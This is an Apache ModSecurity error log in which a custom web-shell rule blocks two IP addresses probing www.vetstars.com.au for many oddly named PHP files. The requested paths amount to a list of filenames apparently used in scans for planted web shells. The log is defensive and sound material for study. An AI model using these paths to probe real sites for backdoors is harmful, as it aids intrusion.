[Mon Apr 13 17:07:56.741537 2026] [:error] [pid 63406:tid 63430] [client 20.100.201.121:64583] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bfil.php"] [unique_id "adyybLHZEIkQ0Zmgp5oY1gAAANM"]
[Mon Apr 13 17:07:57.273853 2026] [:error] [pid 57183:tid 57203] [client 20.100.201.121:63624] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/iee52ruz0s81ndrdefault.php"] [unique_id "adyybTDO3t8R5NaxzYTPEAAAAVI"]
[Mon Apr 13 17:07:59.129023 2026] [:error] [pid 63406:tid 63432] [client 20.100.201.121:63215] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bfil.php"] [unique_id "adyyb7HZEIkQ0Zmgp5oY5wAAANU"]
[Mon Apr 13 17:07:59.228449 2026] [:error] [pid 63406:tid 63424] [client 20.100.201.121:64680] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zc-942.php"] [unique_id "adyyb7HZEIkQ0Zmgp5oY6wAAAM0"]
[Mon Apr 13 17:08:00.406705 2026] [:error] [pid 63406:tid 63430] [client 20.100.201.121:64104] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/iee52ruz0s81ndrdefault.php"] [unique_id "adyycLHZEIkQ0Zmgp5oY8wAAANM"]
[Mon Apr 13 17:08:02.729653 2026] [:error] [pid 63406:tid 63416] [client 20.100.201.121:62836] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sde.php"] [unique_id "adyycrHZEIkQ0Zmgp5oZDAAAAMU"]
[Mon Apr 13 17:08:04.948568 2026] [:error] [pid 63406:tid 63417] [client 20.100.201.121:63652] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/iee52ruz0s81ndrdefault.php"] [unique_id "adyydLHZEIkQ0Zmgp5oZFAAAAMY"]
[Mon Apr 13 17:08:07.651728 2026] [:error] [pid 63406:tid 63416] [client 20.100.201.121:65088] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lb.php"] [unique_id "adyyd7HZEIkQ0Zmgp5oZHQAAAMU"]
[Mon Apr 13 17:08:13.142450 2026] [:error] [pid 63311:tid 63393] [client 20.240.142.13:61628] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wxeyc.php"] [unique_id "adyyfaHjrGN1MqBCVFnPewAAAJY"]
[Mon Apr 13 17:08:14.626862 2026] [:error] [pid 57183:tid 57191] [client 20.240.142.13:61060] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wxeyc.php"] [unique_id "adyyfjDO3t8R5NaxzYTPPgAAAUY"]
[Mon Apr 13 17:08:16.143226 2026] [:error] [pid 63406:tid 63433] [client 20.240.142.13:60419] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wxeyc.php"] [unique_id "adyygLHZEIkQ0Zmgp5oZNAAAANY"]
[Mon Apr 13 17:08:18.625285 2026] [:error] [pid 57183:tid 57193] [client 20.240.142.13:62763] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wxeyc.php"] [unique_id "adyygjDO3t8R5NaxzYTPSgAAAUg"]
[Mon Apr 13 17:08:21.714847 2026] [:error] [pid 63406:tid 63413] [client 20.240.142.13:60489] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xltt.php"] [unique_id "adyyhbHZEIkQ0Zmgp5oZTAAAAMI"]
[Mon Apr 13 17:08:24.148021 2026] [:error] [pid 63310:tid 63350] [client 20.240.142.13:59841] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xltt.php"] [unique_id "adyyiHoXpRU5ztmwPjIuZAAAAEY"]
[Mon Apr 13 17:08:26.636037 2026] [:error] [pid 63310:tid 63359] [client 20.240.142.13:61946] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xltt.php"] [unique_id "adyyinoXpRU5ztmwPjIuZwAAAE8"]
[Mon Apr 13 17:08:28.214324 2026] [:error] [pid 63406:tid 63422] [client 20.240.142.13:60522] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xltt.php"] [unique_id "adyyjLHZEIkQ0Zmgp5oZYAAAAMs"]
[Mon Apr 13 17:08:34.713650 2026] [:error] [pid 63406:tid 63416] [client 20.240.142.13:61604] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bthil.php"] [unique_id "adyykrHZEIkQ0Zmgp5oZkgAAAMU"]
[Mon Apr 13 17:08:46.398395 2026] [:error] [pid 57183:tid 57189] [client 20.240.142.13:60710] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fyflv.php"] [unique_id "adyynjDO3t8R5NaxzYTPfgAAAUQ"]
[Mon Apr 13 17:08:48.493152 2026] [:error] [pid 9314:tid 9332] [client 20.240.142.13:62769] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fyflv.php"] [unique_id "adyyoG_r4W8fX2GWyGTG1wAAAZA"]
[Mon Apr 13 17:08:50.191581 2026] [:error] [pid 57183:tid 57191] [client 20.240.142.13:61920] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fyflv.php"] [unique_id "adyyojDO3t8R5NaxzYTPjwAAAUY"]
[Mon Apr 13 17:08:52.972521 2026] [:error] [pid 57183:tid 57202] [client 20.240.142.13:61574] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fyflv.php"] [unique_id "adyypDDO3t8R5NaxzYTPnAAAAVE"]
[Mon Apr 13 17:08:54.231042 2026] [:error] [pid 7228:tid 7244] [client 20.240.142.13:60543] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zc-942.php"] [unique_id "adyypgEnn1dQrOSHHNVYKQAAAQ4"]
[Mon Apr 13 17:08:56.487747 2026] [:error] [pid 63406:tid 63428] [client 20.240.142.13:61572] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zc-942.php"] [unique_id "adyyqLHZEIkQ0Zmgp5oZ5gAAANE"]
[Mon Apr 13 17:08:58.518914 2026] [:error] [pid 57183:tid 57191] [client 20.240.142.13:60463] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zc-942.php"] [unique_id "adyyqjDO3t8R5NaxzYTPpQAAAUY"]
[Mon Apr 13 17:09:01.689914 2026] [:error] [pid 63406:tid 63428] [client 20.240.142.13:62755] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zc-942.php"] [unique_id "adyyrbHZEIkQ0Zmgp5oaBAAAANE"]
[Mon Apr 13 17:09:04.241387 2026] [:error] [pid 9314:tid 9319] [client 20.240.142.13:60537] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sde.php"] [unique_id "adyysG_r4W8fX2GWyGTG7gAAAYM"]
[Mon Apr 13 17:09:06.372956 2026] [:error] [pid 9314:tid 9338] [client 20.240.142.13:61949] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sde.php"] [unique_id "adyysm_r4W8fX2GWyGTG8QAAAZY"]
[Mon Apr 13 17:09:07.701856 2026] [:error] [pid 57183:tid 57185] [client 20.240.142.13:61597] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sde.php"] [unique_id "adyyszDO3t8R5NaxzYTPuQAAAUA"]
[Mon Apr 13 17:09:09.760450 2026] [:error] [pid 9314:tid 9322] [client 20.100.201.121:64702] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxiviLDIot.php"] [unique_id "adyytW_r4W8fX2GWyGTG9AAAAYY"]
[Mon Apr 13 17:09:12.012902 2026] [:error] [pid 63310:tid 63363] [client 20.100.201.121:64578] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bfil.php"] [unique_id "adyyuHoXpRU5ztmwPjIuggAAAFM"]
[Mon Apr 13 17:09:12.194294 2026] [:error] [pid 9314:tid 9325] [client 20.100.201.121:64109] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/iee52ruz0s81ndrdefault.php"] [unique_id "adyyuG_r4W8fX2GWyGTG9gAAAYk"]
[Mon Apr 13 17:09:12.756324 2026] [:error] [pid 57183:tid 57200] [client 20.100.201.121:65199] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxiviLDIot.php"] [unique_id "adyyuDDO3t8R5NaxzYTPxQAAAU8"]
[Mon Apr 13 17:09:14.903971 2026] [:error] [pid 57183:tid 57191] [client 20.100.201.121:65209] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bfil.php"] [unique_id "adyyujDO3t8R5NaxzYTPygAAAUY"]
[Mon Apr 13 17:09:15.359434 2026] [:error] [pid 9314:tid 9340] [client 20.100.201.121:64628] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxiviLDIot.php"] [unique_id "adyyu2_r4W8fX2GWyGTG_gAAAZg"]
[Mon Apr 13 17:09:15.751390 2026] [:error] [pid 9314:tid 9316] [client 20.100.201.121:63632] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/iee52ruz0s81ndrdefault.php"] [unique_id "adyyu2_r4W8fX2GWyGTHAAAAAYA"]
[Mon Apr 13 17:09:16.708766 2026] [:error] [pid 63310:tid 63360] [client 20.100.201.121:64693] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bfil.php"] [unique_id "adyyvHoXpRU5ztmwPjIuhwAAAFA"]
[Mon Apr 13 17:09:17.184466 2026] [:error] [pid 63309:tid 63327] [client 20.100.201.121:65171] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/iee52ruz0s81ndrdefault.php"] [unique_id "adyyvUpIKZ10weXpf0UCDAAAAA4"]
[Mon Apr 13 17:09:18.016290 2026] [:error] [pid 63311:tid 63385] [client 20.100.201.121:64159] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bfil.php"] [unique_id "adyyvqHjrGN1MqBCVFnPogAAAI4"]
[Mon Apr 13 17:09:18.462814 2026] [:error] [pid 63310:tid 63346] [client 20.100.201.121:64191] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hanyatersenyum.php"] [unique_id "adyyvnoXpRU5ztmwPjIuiQAAAEI"]
[Mon Apr 13 17:09:19.717951 2026] [:error] [pid 9314:tid 9330] [client 20.100.201.121:64148] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lb.php"] [unique_id "adyyv2_r4W8fX2GWyGTHEAAAAY4"]
[Mon Apr 13 17:09:20.162978 2026] [:error] [pid 9314:tid 9327] [client 20.100.201.121:64142] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hanyatersenyum.php"] [unique_id "adyywG_r4W8fX2GWyGTHEgAAAYs"]
[Mon Apr 13 17:09:21.583630 2026] [:error] [pid 63406:tid 63424] [client 20.100.201.121:65174] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hanyatersenyum.php"] [unique_id "adyywbHZEIkQ0Zmgp5oaLgAAAM0"]
[Mon Apr 13 17:09:21.820167 2026] [:error] [pid 63406:tid 63417] [client 20.100.201.121:64162] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lb.php"] [unique_id "adyywbHZEIkQ0Zmgp5oaLwAAAMY"]
[Mon Apr 13 17:09:23.690115 2026] [:error] [pid 63406:tid 63433] [client 20.100.201.121:64128] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hanyatersenyum.php"] [unique_id "adyyw7HZEIkQ0Zmgp5oaNQAAANY"]
[Mon Apr 13 17:09:24.098545 2026] [:error] [pid 9314:tid 9326] [client 20.100.201.121:64092] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lb.php"] [unique_id "adyyxG_r4W8fX2GWyGTHHQAAAYo"]
[Mon Apr 13 17:09:25.285992 2026] [:error] [pid 63406:tid 63419] [client 20.100.201.121:64636] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/5tdwvyWnTbRiMS8f18HXNBbALHKB5t4j.php"] [unique_id "adyyxbHZEIkQ0Zmgp5oaPgAAAMg"]
[Mon Apr 13 17:09:25.539803 2026] [:error] [pid 57183:tid 57192] [client 20.100.201.121:65098] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/iee52ruz0s81ndrdefault.php"] [unique_id "adyyxTDO3t8R5NaxzYTP2wAAAUc"]
[Mon Apr 13 17:09:26.389577 2026] [:error] [pid 57183:tid 57200] [client 20.100.201.121:63640] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lb.php"] [unique_id "adyyxjDO3t8R5NaxzYTP3AAAAU8"]
[Mon Apr 13 17:09:26.423963 2026] [:error] [pid 57183:tid 57208] [client 20.100.201.121:62798] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/5tdwvyWnTbRiMS8f18HXNBbALHKB5t4j.php"] [unique_id "adyyxjDO3t8R5NaxzYTP3QAAAVc"]
[Mon Apr 13 17:09:27.519885 2026] [:error] [pid 9314:tid 9316] [client 20.100.201.121:64131] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/5tdwvyWnTbRiMS8f18HXNBbALHKB5t4j.php"] [unique_id "adyyx2_r4W8fX2GWyGTHKgAAAYA"]
[Mon Apr 13 17:09:27.601175 2026] [:error] [pid 63311:tid 63392] [client 20.100.201.121:63143] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dx.php"] [unique_id "adyyx6HjrGN1MqBCVFnPrAAAAJU"]
[Mon Apr 13 17:09:28.677496 2026] [:error] [pid 9314:tid 9329] [client 20.100.201.121:63117] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dx.php"] [unique_id "adyyyG_r4W8fX2GWyGTHMAAAAY0"]
[Mon Apr 13 17:09:28.702106 2026] [:error] [pid 63311:tid 63373] [client 20.100.201.121:64639] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/5tdwvyWnTbRiMS8f18HXNBbALHKB5t4j.php"] [unique_id "adyyyKHjrGN1MqBCVFnPrQAAAII"]
[Mon Apr 13 17:09:30.100755 2026] [:error] [pid 9314:tid 9316] [client 20.100.201.121:65179] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dx.php"] [unique_id "adyyym_r4W8fX2GWyGTHNQAAAYA"]
[Mon Apr 13 17:09:30.133249 2026] [:error] [pid 63406:tid 63434] [client 20.100.201.121:64075] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/upll22.php"] [unique_id "adyyyrHZEIkQ0Zmgp5oaSAAAANc"]
